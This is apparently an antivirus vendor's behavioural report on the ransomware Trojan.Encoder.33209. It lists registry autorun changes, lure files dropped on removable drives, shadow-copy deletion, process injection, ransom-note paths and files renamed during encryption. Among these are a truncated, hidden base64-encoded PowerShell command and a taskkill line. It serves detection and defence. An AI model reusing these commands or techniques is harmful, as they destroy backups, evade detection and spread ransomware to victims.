Trojan.Encoder.33209

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'taskeng.exe' = '"%APPDATA%\Microsoft\Windows\taskeng.exe" -start'

Creates the following files on removable media

<Drive name for removable media>:\delete.avi
<Drive name for removable media>:\stoc13_ml_quoc_le.pptx
<Drive name for removable media>:\gruenspecht_02172016.pptx
<Drive name for removable media>:\waterresourcesag.pptx
<Drive name for removable media>:\hypothyroidism_slides.pptx
<Drive name for removable media>:\skypesetup.exe
<Drive name for removable media>:\chromesetup.exe
<Drive name for removable media>:\notepad.exe
<Drive name for removable media>:\jre-7u75-windows-i586-iftw.exe
<Drive name for removable media>:\wrar520.exe
<Drive name for removable media>:\utorrent.exe
<Drive name for removable media>:\february_catalogue__2015.doc
<Drive name for removable media>:\uep_form_786_bulletin_1726i602.doc
<Drive name for removable media>:\lisp_success.doc
<Drive name for removable media>:\iso27k_isms_implementation_and_certification_process_overview_v2.pptx
<Drive name for removable media>:\applicantform_en.doc
<Drive name for removable media>:\contosoroot.cer
<Drive name for removable media>:\sdkfailsafeemulator.cer
<Drive name for removable media>:\pmd.cer
<Drive name for removable media>:\contoso_1.cer
<Drive name for removable media>:\dashborder_96.bmp
<Drive name for removable media>:\coffee.bmp
<Drive name for removable media>:\dialmap.bmp
<Drive name for removable media>:\toolbar.bmp
<Drive name for removable media>:\dashborder_144.bmp
<Drive name for removable media>:\dial.bmp
<Drive name for removable media>:\archer.avi
<Drive name for removable media>:\split.avi
<Drive name for removable media>:\!!! all your files are encrypted !!!.txt
<Drive name for removable media>:\ovp25012015.doc
<Drive name for removable media>:\roozenedowebinar.pptx

Malicious functions

To complicate detection of its presence in the operating system,

deletes volume shadow copies.

Executes the following

'%WINDIR%\syswow64\taskkill.exe' /f /im 15sp.exe

Executes the following (exploit)

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD IAAkADQANwB6AHUAMwAgACAAPQAgACAAWwB0AHkAUABFAF0AKAAiAHsAMgB9AHsAMQB9AHsAMwB9AHsAMAB9ACIAIAAtAGYAIAAnAHQATwBSAHkAJwAsACcAZQBtAC4AaQBPAC4ARAAnACwAJwBzAHkAUwBUACcA...
'%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1560

Injects code into

the following system processes:

%WINDIR%\syswow64\notepad.exe

Modifies file system

Creates the following files

%TEMP%\1075626.cvr
%ProgramFiles%\ashlogv\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ashmaisv\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ashpopwz\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ashquick\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ashserv\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ashsimp2\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ashskpcc\!!! all your files are encrypted !!!.txt
%ProgramFiles%\aoltbserver\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ashskpck\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ashupd\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ashwebsv\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ash_updatemediator\!!! all your files are encrypted !!!.txt
%ProgramFiles%\aswregsvr\!!! all your files are encrypted !!!.txt
%ProgramFiles%\aswupdsv\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ashenhcd\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ashdug\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ashdisp\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ashchest\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ashavsrv\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ashavast\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ash\!!! all your files are encrypted !!!.txt
%ProgramFiles%\armorsurf\!!! all your files are encrypted !!!.txt
%ProgramFiles%\armor2net\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ashsimpl\!!! all your files are encrypted !!!.txt
%ProgramFiles%\antivirus\!!! all your files are encrypted !!!.txt
%ProgramFiles%\anti-trojan\!!! all your files are encrypted !!!.txt
%ProgramFiles%\amsn\!!! all your files are encrypted !!!.txt
%ProgramFiles%\amon\!!! all your files are encrypted !!!.txt
%ProgramFiles%\alsvc\!!! all your files are encrypted !!!.txt
%ProgramFiles%\almon\!!! all your files are encrypted !!!.txt
%ProgramFiles%\airdefense\!!! all your files are encrypted !!!.txt
%ProgramFiles%\autodown\!!! all your files are encrypted !!!.txt
%ProgramFiles%\autostartexplorer\!!! all your files are encrypted !!!.txt
%ProgramFiles%\autotrace\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avadmin\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avgw\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avgwizfw\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avinitnt\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avkserv\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avkservice\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avkwctl\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avpcc\!!! all your files are encrypted !!!.txt
%ProgramFiles%\aimpro\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avpm\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avscan\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avsynmgr\!!! all your files are encrypted !!!.txt
%ProgramFiles%\b2\!!! all your files are encrypted !!!.txt
%ProgramFiles%\backweb-4476822\!!! all your files are encrypted !!!.txt
%ProgramFiles%\bdagent\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avgvv\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avgdiag\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avgupsvc\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avgcc\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avcenter\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avciman\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avcmd\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avconfig\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avconsol\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avgamsvr\!!! all your files are encrypted !!!.txt
%ProgramFiles%\bdmcon\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avgscan\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avgemc\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avgfwsrv\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avginet\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avgnpdln\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avgnpsvc\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avgrssvc\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avgupden\!!! all your files are encrypted !!!.txt
%ProgramFiles%\avnotify\!!! all your files are encrypted !!!.txt
%ProgramFiles%\aim6\!!! all your files are encrypted !!!.txt
%ProgramFiles%\a2start\!!! all your files are encrypted !!!.txt
C:\far2\!!! all your files are encrypted !!!.txt
C:\far2\addons\!!! all your files are encrypted !!!.txt
C:\far2\addons\colors\!!! all your files are encrypted !!!.txt
C:\far2\addons\colors\custom_highlighting\!!! all your files are encrypted !!!.txt
C:\far2\addons\colors\default_highlighting\!!! all your files are encrypted !!!.txt
C:\far2\addons\macros\!!! all your files are encrypted !!!.txt
C:\far2\addons\shell\!!! all your files are encrypted !!!.txt
C:\ssd\onset\15sp.exe
C:\far2\addons\xlat\!!! all your files are encrypted !!!.txt
C:\far2\addons\xlat\russian\!!! all your files are encrypted !!!.txt
C:\far2\documentation\eng\!!! all your files are encrypted !!!.txt
C:\far2\documentation\rus\!!! all your files are encrypted !!!.txt
C:\far2\encyclopedia\!!! all your files are encrypted !!!.txt
C:\far2\encyclopedia\tap\!!! all your files are encrypted !!!.txt
%TEMP%\~temp001.bat
%TEMP%\07ed45f4.zeppelin
%APPDATA%\microsoft\windows\taskeng.exe
%TEMP%\a0d66878.zeppelin
C:\ssd\onset\mesager43.exe
C:\ssd\onset\sata1.bat
C:\ssd\onset\ztestram.vbs
%TEMP%\aitmp594\auninstall.ini
C:\ssd\onset\goodram.vbs
C:\far2\addons\setup\!!! all your files are encrypted !!!.txt
C:\ssd\onset\58nfs.ini
C:\ssd\onset\81ldp.bat
%TEMP%\aitmp594\aidatafile.zip
%TEMP%\aitmp594\aisetup.ini
%TEMP%\aitmp594\englishai.lng
%TEMP%\aitmp594\aisetup.zip
%HOMEPATH%\woi1sao\mf3ogh_\bw99ofg.exe
C:\far2\fexcept\!!! all your files are encrypted !!!.txt
C:\far2\plugins\align\!!! all your files are encrypted !!!.txt
C:\far2\plugins\arclite\!!! all your files are encrypted !!!.txt
C:\far2\plugins\autowrap\!!! all your files are encrypted !!!.txt
%ProgramFiles%\360tray\!!! all your files are encrypted !!!.txt
%ProgramFiles%\a2cmd\!!! all your files are encrypted !!!.txt
%ProgramFiles%\a2guard\!!! all your files are encrypted !!!.txt
%ProgramFiles%\a2hijackfree\!!! all your files are encrypted !!!.txt
%ProgramFiles%\a2scan\!!! all your files are encrypted !!!.txt
%ProgramFiles%\a2service\!!! all your files are encrypted !!!.txt
%ProgramFiles%\a2upd\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ahnsd\!!! all your files are encrypted !!!.txt
%ProgramFiles%\a2wizard\!!! all your files are encrypted !!!.txt
%ProgramFiles%\aavshield\!!! all your files are encrypted !!!.txt
%ProgramFiles%\about\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ackwin32\!!! all your files are encrypted !!!.txt
%ProgramFiles%\admunch\!!! all your files are encrypted !!!.txt
%ProgramFiles%\agb5\!!! all your files are encrypted !!!.txt
<Current directory>\!!! all your files are encrypted !!!.txt
C:\far2\plugins\ftp\!!! all your files are encrypted !!!.txt
<Current directory>\~$<File name>.doc
C:\far2\plugins\filecase\!!! all your files are encrypted !!!.txt
C:\far2\plugins\brackets\!!! all your files are encrypted !!!.txt
C:\far2\plugins\compare\!!! all your files are encrypted !!!.txt
C:\far2\plugins\drawline\!!! all your files are encrypted !!!.txt
C:\far2\plugins\editcase\!!! all your files are encrypted !!!.txt
C:\far2\plugins\emenu\!!! all your files are encrypted !!!.txt
C:\far2\plugins\farcmds\!!! all your files are encrypted !!!.txt
%ProgramFiles%\ageofconan\!!! all your files are encrypted !!!.txt
C:\far2\pluginsdk\headers.c\!!! all your files are encrypted !!!.txt
C:\far2\plugins\ftp\lib\!!! all your files are encrypted !!!.txt
C:\far2\plugins\hlfviewer\!!! all your files are encrypted !!!.txt
C:\far2\plugins\macroview\!!! all your files are encrypted !!!.txt
C:\far2\plugins\network\!!! all your files are encrypted !!!.txt
C:\far2\plugins\proclist\!!! all your files are encrypted !!!.txt
C:\far2\plugins\tmppanel\!!! all your files are encrypted !!!.txt
C:\far2\pluginsdk\headers.pas\!!! all your files are encrypted !!!.txt
%ProgramFiles%\bdnews\!!! all your files are encrypted !!!.txt

Sets the 'hidden' attribute to the following files

<Current directory>\~$<File name>.doc.c2b-660-5a7

Deletes the following files

C:\ssd\onset\01s.rar
%TEMP%\a0d66878.zeppelin
C:\ssd\onset\mesager43.exe
%TEMP%\07ed45f4.zeppelin
C:\ssd\onset\goodram.vbs
C:\ssd\onset\15sp.exe
C:\ssd\onset\ztestram.vbs

Moves the following files

from C:\ssd\onset\58nfs.ini to C:\ssd\onset\01s.rar
from %ProgramFiles%\cavse\cavse.exe to %ProgramFiles%\cavse\cavse.exe.c2b-660-5a7
from %ProgramFiles%\cavsn\cavsn.exe to %ProgramFiles%\cavsn\cavsn.exe.c2b-660-5a7
from %ProgramFiles%\cavsub\cavsub.exe to %ProgramFiles%\cavsub\cavsub.exe.c2b-660-5a7
from %ProgramFiles%\cavsubmit\cavsubmit.exe to %ProgramFiles%\cavsubmit\cavsubmit.exe.c2b-660-5a7
from %ProgramFiles%\cavumas\cavumas.exe to %ProgramFiles%\cavumas\cavumas.exe.c2b-660-5a7
from %ProgramFiles%\cavuserupd\cavuserupd.exe to %ProgramFiles%\cavuserupd\cavuserupd.exe.c2b-660-5a7
from %ProgramFiles%\cavvl\cavvl.exe to %ProgramFiles%\cavvl\cavvl.exe.c2b-660-5a7
from %ProgramFiles%\blindman\blindman.exe to %ProgramFiles%\blindman\blindman.exe.c2b-660-5a7
from %ProgramFiles%\ccapp\ccapp.exe to %ProgramFiles%\ccapp\ccapp.exe.c2b-660-5a7
from %ProgramFiles%\ccleaner\ccleaner.exe to %ProgramFiles%\ccleaner\ccleaner.exe.c2b-660-5a7
from %ProgramFiles%\ccproxy\ccproxy.exe to %ProgramFiles%\ccproxy\ccproxy.exe.c2b-660-5a7
from %ProgramFiles%\ccsetmgr\ccsetmgr.exe to %ProgramFiles%\ccsetmgr\ccsetmgr.exe.c2b-660-5a7
from %ProgramFiles%\cemrep\cemrep.exe to %ProgramFiles%\cemrep\cemrep.exe.c2b-660-5a7
from %ProgramFiles%\chrome\chrome.exe to %ProgramFiles%\chrome\chrome.exe.c2b-660-5a7
from %ProgramFiles%\clamscan\clamscan.exe to %ProgramFiles%\clamscan\clamscan.exe.c2b-660-5a7
from %ProgramFiles%\clamtray\clamtray.exe to %ProgramFiles%\clamtray\clamtray.exe.c2b-660-5a7
from %ProgramFiles%\cavq\cavq.exe to %ProgramFiles%\cavq\cavq.exe.c2b-660-5a7
from %ProgramFiles%\cavscons\cavscons.exe to %ProgramFiles%\cavscons\cavscons.exe.c2b-660-5a7
from %ProgramFiles%\cavoar\cavoar.exe to %ProgramFiles%\cavoar\cavoar.exe.c2b-660-5a7
from %ProgramFiles%\cavmud\cavmud.exe to %ProgramFiles%\cavmud\cavmud.exe.c2b-660-5a7
from %ProgramFiles%\cavmr\cavmr.exe to %ProgramFiles%\cavmr\cavmr.exe.c2b-660-5a7
from %ProgramFiles%\bdss\bdss.exe to %ProgramFiles%\bdss\bdss.exe.c2b-660-5a7
from %ProgramFiles%\bdsubmit\bdsubmit.exe to %ProgramFiles%\bdsubmit\bdsubmit.exe.c2b-660-5a7
from %ProgramFiles%\bdsubmitwiz\bdsubmitwiz.exe to %ProgramFiles%\bdsubmitwiz\bdsubmitwiz.exe.c2b-660-5a7
from %ProgramFiles%\bdsurvey\bdsurvey.exe to %ProgramFiles%\bdsurvey\bdsurvey.exe.c2b-660-5a7
from %ProgramFiles%\bdswitch\bdswitch.exe to %ProgramFiles%\bdswitch\bdswitch.exe.c2b-660-5a7
from %ProgramFiles%\bdwizreg\bdwizreg.exe to %ProgramFiles%\bdwizreg\bdwizreg.exe.c2b-660-5a7
from %ProgramFiles%\blackd\blackd.exe to %ProgramFiles%\blackd\blackd.exe.c2b-660-5a7
from %ProgramFiles%\clamwin\clamwin.exe to %ProgramFiles%\clamwin\clamwin.exe.c2b-660-5a7
from %ProgramFiles%\ccevtmgr\ccevtmgr.exe to %ProgramFiles%\ccevtmgr\ccevtmgr.exe.c2b-660-5a7
from %ProgramFiles%\blackice\blackice.exe to %ProgramFiles%\blackice\blackice.exe.c2b-660-5a7
from %ProgramFiles%\btinint\btinint.exe to %ProgramFiles%\btinint\btinint.exe.c2b-660-5a7
from %ProgramFiles%\cabalmain\cabalmain.exe to %ProgramFiles%\cabalmain\cabalmain.exe.c2b-660-5a7
from %ProgramFiles%\cafix\cafix.exe to %ProgramFiles%\cafix\cafix.exe.c2b-660-5a7
from %ProgramFiles%\cavapp\cavapp.exe to %ProgramFiles%\cavapp\cavapp.exe.c2b-660-5a7
from %ProgramFiles%\cavasm\cavasm.exe to %ProgramFiles%\cavasm\cavasm.exe.c2b-660-5a7
from %ProgramFiles%\cavaud\cavaud.exe to %ProgramFiles%\cavaud\cavaud.exe.c2b-660-5a7
from %ProgramFiles%\cavemsrv\cavemsrv.exe to %ProgramFiles%\cavemsrv\cavemsrv.exe.c2b-660-5a7
from %ProgramFiles%\bdoesrv\bdoesrv.exe to %ProgramFiles%\bdoesrv\bdoesrv.exe.c2b-660-5a7
from %ProgramFiles%\btini\btini.exe to %ProgramFiles%\btini\btini.exe.c2b-660-5a7
from %ProgramFiles%\claw95\claw95.exe to %ProgramFiles%\claw95\claw95.exe.c2b-660-5a7
from %ProgramFiles%\claw95cf\claw95cf.exe to %ProgramFiles%\claw95cf\claw95cf.exe.c2b-660-5a7
from %ProgramFiles%\cleaner\cleaner.exe to %ProgramFiles%\cleaner\cleaner.exe.c2b-660-5a7
from %ProgramFiles%\dnf\dnf.exe to %ProgramFiles%\dnf\dnf.exe.c2b-660-5a7
from %ProgramFiles%\dpatrolq\dpatrolq.exe to %ProgramFiles%\dpatrolq\dpatrolq.exe.c2b-660-5a7
from %ProgramFiles%\drvctl\drvctl.exe to %ProgramFiles%\drvctl\drvctl.exe.c2b-660-5a7
from %ProgramFiles%\drvirus\drvirus.exe to %ProgramFiles%\drvirus\drvirus.exe.c2b-660-5a7
from %ProgramFiles%\drvmap\drvmap.exe to %ProgramFiles%\drvmap\drvmap.exe.c2b-660-5a7
from %ProgramFiles%\drwadins\drwadins.exe to %ProgramFiles%\drwadins\drwadins.exe.c2b-660-5a7
from %ProgramFiles%\drweb\drweb.exe to %ProgramFiles%\drweb\drweb.exe.c2b-660-5a7
from %ProgramFiles%\drweb32w\drweb32w.exe to %ProgramFiles%\drweb32w\drweb32w.exe.c2b-660-5a7
from %ProgramFiles%\drwebscd\drwebscd.exe to %ProgramFiles%\drwebscd\drwebscd.exe.c2b-660-5a7
from %ProgramFiles%\bdnews\bdnews.exe to %ProgramFiles%\bdnews\bdnews.exe.c2b-660-5a7
from %ProgramFiles%\drwebupw\drwebupw.exe to %ProgramFiles%\drwebupw\drwebupw.exe.c2b-660-5a7
from %ProgramFiles%\drwebwcl\drwebwcl.exe to %ProgramFiles%\drwebwcl\drwebwcl.exe.c2b-660-5a7
from %ProgramFiles%\drwreg\drwreg.exe to %ProgramFiles%\drwreg\drwreg.exe.c2b-660-5a7
from %ProgramFiles%\ecmd\ecmd.exe to %ProgramFiles%\ecmd\ecmd.exe.c2b-660-5a7
from %ProgramFiles%\egni\egni.exe to %ProgramFiles%\egni\egni.exe.c2b-660-5a7
from %ProgramFiles%\ehsniffer\ehsniffer.exe to %ProgramFiles%\ehsniffer\ehsniffer.exe.c2b-660-5a7
from %ProgramFiles%\ekrn\ekrn.exe to %ProgramFiles%\ekrn\ekrn.exe.c2b-660-5a7
from %ProgramFiles%\elementclient\elementclient.exe to %ProgramFiles%\elementclient\elementclient.exe.c2b-660-5a7
from %ProgramFiles%\dislite\dislite.exe to %ProgramFiles%\dislite\dislite.exe.c2b-660-5a7
from %ProgramFiles%\cssexc\cssexc.exe to %ProgramFiles%\cssexc\cssexc.exe.c2b-660-5a7
from %ProgramFiles%\directftp\directftp.exe to %ProgramFiles%\directftp\directftp.exe.c2b-660-5a7
from %ProgramFiles%\csendto\csendto.exe to %ProgramFiles%\csendto\csendto.exe.c2b-660-5a7
from %ProgramFiles%\cleaner3\cleaner3.exe to %ProgramFiles%\cleaner3\cleaner3.exe.c2b-660-5a7
from %ProgramFiles%\clisvc\clisvc.exe to %ProgramFiles%\clisvc\clisvc.exe.c2b-660-5a7
from %ProgramFiles%\clrcche\clrcche.exe to %ProgramFiles%\clrcche\clrcche.exe.c2b-660-5a7
from %ProgramFiles%\cmain\cmain.exe to %ProgramFiles%\cmain\cmain.exe.c2b-660-5a7
from %ProgramFiles%\cmgrdian\cmgrdian.exe to %ProgramFiles%\cmgrdian\cmgrdian.exe.c2b-660-5a7
from %ProgramFiles%\copyx64\copyx64.exe to %ProgramFiles%\copyx64\copyx64.exe.c2b-660-5a7
from %ProgramFiles%\courier\courier.exe to %ProgramFiles%\courier\courier.exe.c2b-660-5a7
from %ProgramFiles%\cpd\cpd.exe to %ProgramFiles%\cpd\cpd.exe.c2b-660-5a7
from %ProgramFiles%\etherd\etherd.exe to %ProgramFiles%\etherd\etherd.exe.c2b-660-5a7
from %ProgramFiles%\digsby\digsby.exe to %ProgramFiles%\digsby\digsby.exe.c2b-660-5a7
from %ProgramFiles%\custinstall\custinstall.exe to %ProgramFiles%\custinstall\custinstall.exe.c2b-660-5a7
from %ProgramFiles%\custsetup\custsetup.exe to %ProgramFiles%\custsetup\custsetup.exe.c2b-660-5a7
from %ProgramFiles%\cuteftp\cuteftp.exe to %ProgramFiles%\cuteftp\cuteftp.exe.c2b-660-5a7
from %ProgramFiles%\dbconvert\dbconvert.exe to %ProgramFiles%\dbconvert\dbconvert.exe.c2b-660-5a7
from %ProgramFiles%\dbtool\dbtool.exe to %ProgramFiles%\dbtool\dbtool.exe.c2b-660-5a7
from %ProgramFiles%\defensewall\defensewall.exe to %ProgramFiles%\defensewall\defensewall.exe.c2b-660-5a7
from %ProgramFiles%\defwatch\defwatch.exe to %ProgramFiles%\defwatch\defwatch.exe.c2b-660-5a7
from %ProgramFiles%\dekaron\dekaron.exe to %ProgramFiles%\dekaron\dekaron.exe.c2b-660-5a7
from %ProgramFiles%\digsby-app\digsby-app.exe to %ProgramFiles%\digsby-app\digsby-app.exe.c2b-660-5a7
from %ProgramFiles%\drweb386\drweb386.exe to %ProgramFiles%\drweb386\drweb386.exe.c2b-660-5a7
from %ProgramFiles%\bdmcon\bdmcon.exe to %ProgramFiles%\bdmcon\bdmcon.exe.c2b-660-5a7
from %ProgramFiles%\avinitnt\avinitnt.exe to %ProgramFiles%\avinitnt\avinitnt.exe.c2b-660-5a7
from %ProgramFiles%\anti-trojan\anti-trojan.exe to %ProgramFiles%\anti-trojan\anti-trojan.exe.c2b-660-5a7
from %ProgramFiles%\antivirus\antivirus.exe to %ProgramFiles%\antivirus\antivirus.exe.c2b-660-5a7
from %ProgramFiles%\aoltbserver\aoltbserver.exe to %ProgramFiles%\aoltbserver\aoltbserver.exe.c2b-660-5a7
from %ProgramFiles%\armor2net\armor2net.exe to %ProgramFiles%\armor2net\armor2net.exe.c2b-660-5a7
from %ProgramFiles%\armorsurf\armorsurf.exe to %ProgramFiles%\armorsurf\armorsurf.exe.c2b-660-5a7
from %ProgramFiles%\ash\ash.exe to %ProgramFiles%\ash\ash.exe.c2b-660-5a7
from %ProgramFiles%\ashavast\ashavast.exe to %ProgramFiles%\ashavast\ashavast.exe.c2b-660-5a7
from %ProgramFiles%\aavshield\aavshield.exe to %ProgramFiles%\aavshield\aavshield.exe.c2b-660-5a7
from %ProgramFiles%\ashavsrv\ashavsrv.exe to %ProgramFiles%\ashavsrv\ashavsrv.exe.c2b-660-5a7
from %ProgramFiles%\ashdisp\ashdisp.exe to %ProgramFiles%\ashdisp\ashdisp.exe.c2b-660-5a7
from %ProgramFiles%\ashdug\ashdug.exe to %ProgramFiles%\ashdug\ashdug.exe.c2b-660-5a7
from %ProgramFiles%\ashenhcd\ashenhcd.exe to %ProgramFiles%\ashenhcd\ashenhcd.exe.c2b-660-5a7
from %ProgramFiles%\ashlogv\ashlogv.exe to %ProgramFiles%\ashlogv\ashlogv.exe.c2b-660-5a7
from %ProgramFiles%\ashmaisv\ashmaisv.exe to %ProgramFiles%\ashmaisv\ashmaisv.exe.c2b-660-5a7
from %ProgramFiles%\ashpopwz\ashpopwz.exe to %ProgramFiles%\ashpopwz\ashpopwz.exe.c2b-660-5a7
from %ProgramFiles%\ashquick\ashquick.exe to %ProgramFiles%\ashquick\ashquick.exe.c2b-660-5a7
from %ProgramFiles%\amon\amon.exe to %ProgramFiles%\amon\amon.exe.c2b-660-5a7
from %ProgramFiles%\amsn\amsn.exe to %ProgramFiles%\amsn\amsn.exe.c2b-660-5a7
from %ProgramFiles%\alsvc\alsvc.exe to %ProgramFiles%\alsvc\alsvc.exe.c2b-660-5a7
from %ProgramFiles%\almon\almon.exe to %ProgramFiles%\almon\almon.exe.c2b-660-5a7
from %ProgramFiles%\airdefense\airdefense.exe to %ProgramFiles%\airdefense\airdefense.exe.c2b-660-5a7
from %ProgramFiles%\a2cmd\a2cmd.exe to %ProgramFiles%\a2cmd\a2cmd.exe.c2b-660-5a7
from %ProgramFiles%\a2guard\a2guard.exe to %ProgramFiles%\a2guard\a2guard.exe.c2b-660-5a7
from %ProgramFiles%\a2hijackfree\a2hijackfree.exe to %ProgramFiles%\a2hijackfree\a2hijackfree.exe.c2b-660-5a7
from %ProgramFiles%\a2scan\a2scan.exe to %ProgramFiles%\a2scan\a2scan.exe.c2b-660-5a7
from %ProgramFiles%\a2service\a2service.exe to %ProgramFiles%\a2service\a2service.exe.c2b-660-5a7
from %ProgramFiles%\a2start\a2start.exe to %ProgramFiles%\a2start\a2start.exe.c2b-660-5a7
from %ProgramFiles%\a2upd\a2upd.exe to %ProgramFiles%\a2upd\a2upd.exe.c2b-660-5a7
from %ProgramFiles%\ashserv\ashserv.exe to %ProgramFiles%\ashserv\ashserv.exe.c2b-660-5a7
from %ProgramFiles%\ashchest\ashchest.exe to %ProgramFiles%\ashchest\ashchest.exe.c2b-660-5a7
from %ProgramFiles%\a2wizard\a2wizard.exe to %ProgramFiles%\a2wizard\a2wizard.exe.c2b-660-5a7
from %ProgramFiles%\ackwin32\ackwin32.exe to %ProgramFiles%\ackwin32\ackwin32.exe.c2b-660-5a7
from %ProgramFiles%\admunch\admunch.exe to %ProgramFiles%\admunch\admunch.exe.c2b-660-5a7
from %ProgramFiles%\agb5\agb5.exe to %ProgramFiles%\agb5\agb5.exe.c2b-660-5a7
from %ProgramFiles%\ageofconan\ageofconan.exe to %ProgramFiles%\ageofconan\ageofconan.exe.c2b-660-5a7
from %ProgramFiles%\ahnsd\ahnsd.exe to %ProgramFiles%\ahnsd\ahnsd.exe.c2b-660-5a7
from %ProgramFiles%\aim6\aim6.exe to %ProgramFiles%\aim6\aim6.exe.c2b-660-5a7
from %ProgramFiles%\aimpro\aimpro.exe to %ProgramFiles%\aimpro\aimpro.exe.c2b-660-5a7
from %ProgramFiles%\360tray\360tray.exe to %ProgramFiles%\360tray\360tray.exe.c2b-660-5a7
from %ProgramFiles%\about\about.exe to %ProgramFiles%\about\about.exe.c2b-660-5a7
from %ProgramFiles%\ashsimp2\ashsimp2.exe to %ProgramFiles%\ashsimp2\ashsimp2.exe.c2b-660-5a7
from %ProgramFiles%\ashsimpl\ashsimpl.exe to %ProgramFiles%\ashsimpl\ashsimpl.exe.c2b-660-5a7
from %ProgramFiles%\ashskpcc\ashskpcc.exe to %ProgramFiles%\ashskpcc\ashskpcc.exe.c2b-660-5a7
from %ProgramFiles%\avgnpsvc\avgnpsvc.exe to %ProgramFiles%\avgnpsvc\avgnpsvc.exe.c2b-660-5a7
from %ProgramFiles%\avgrssvc\avgrssvc.exe to %ProgramFiles%\avgrssvc\avgrssvc.exe.c2b-660-5a7
from %ProgramFiles%\avgscan\avgscan.exe to %ProgramFiles%\avgscan\avgscan.exe.c2b-660-5a7
from %ProgramFiles%\avgupden\avgupden.exe to %ProgramFiles%\avgupden\avgupden.exe.c2b-660-5a7
from %ProgramFiles%\avgupsvc\avgupsvc.exe to %ProgramFiles%\avgupsvc\avgupsvc.exe.c2b-660-5a7
from %ProgramFiles%\avgvv\avgvv.exe to %ProgramFiles%\avgvv\avgvv.exe.c2b-660-5a7
from %ProgramFiles%\avgw\avgw.exe to %ProgramFiles%\avgw\avgw.exe.c2b-660-5a7
from %ProgramFiles%\avgwizfw\avgwizfw.exe to %ProgramFiles%\avgwizfw\avgwizfw.exe.c2b-660-5a7
from %ProgramFiles%\avkserv\avkserv.exe to %ProgramFiles%\avkserv\avkserv.exe.c2b-660-5a7
from %ProgramFiles%\bdagent\bdagent.exe to %ProgramFiles%\bdagent\bdagent.exe.c2b-660-5a7
from %ProgramFiles%\avkservice\avkservice.exe to %ProgramFiles%\avkservice\avkservice.exe.c2b-660-5a7
from %ProgramFiles%\avkwctl\avkwctl.exe to %ProgramFiles%\avkwctl\avkwctl.exe.c2b-660-5a7
from %ProgramFiles%\avnotify\avnotify.exe to %ProgramFiles%\avnotify\avnotify.exe.c2b-660-5a7
from %ProgramFiles%\avpcc\avpcc.exe to %ProgramFiles%\avpcc\avpcc.exe.c2b-660-5a7
from %ProgramFiles%\avpm\avpm.exe to %ProgramFiles%\avpm\avpm.exe.c2b-660-5a7
from %ProgramFiles%\avscan\avscan.exe to %ProgramFiles%\avscan\avscan.exe.c2b-660-5a7
from %ProgramFiles%\avsynmgr\avsynmgr.exe to %ProgramFiles%\avsynmgr\avsynmgr.exe.c2b-660-5a7
from %ProgramFiles%\b2\b2.exe to %ProgramFiles%\b2\b2.exe.c2b-660-5a7
from %ProgramFiles%\avgnpdln\avgnpdln.exe to %ProgramFiles%\avgnpdln\avgnpdln.exe.c2b-660-5a7
from %ProgramFiles%\avadmin\avadmin.exe to %ProgramFiles%\avadmin\avadmin.exe.c2b-660-5a7
from %ProgramFiles%\avginet\avginet.exe to %ProgramFiles%\avginet\avginet.exe.c2b-660-5a7
from %ProgramFiles%\autotrace\autotrace.exe to %ProgramFiles%\autotrace\autotrace.exe.c2b-660-5a7
from %ProgramFiles%\ashskpck\ashskpck.exe to %ProgramFiles%\ashskpck\ashskpck.exe.c2b-660-5a7
from %ProgramFiles%\ashupd\ashupd.exe to %ProgramFiles%\ashupd\ashupd.exe.c2b-660-5a7
from %ProgramFiles%\ashwebsv\ashwebsv.exe to %ProgramFiles%\ashwebsv\ashwebsv.exe.c2b-660-5a7
from %ProgramFiles%\ash_updatemediator\ash_updatemediator.exe to %ProgramFiles%\ash_updatemediator\ash_updatemediator.exe.c2b-660-5a7
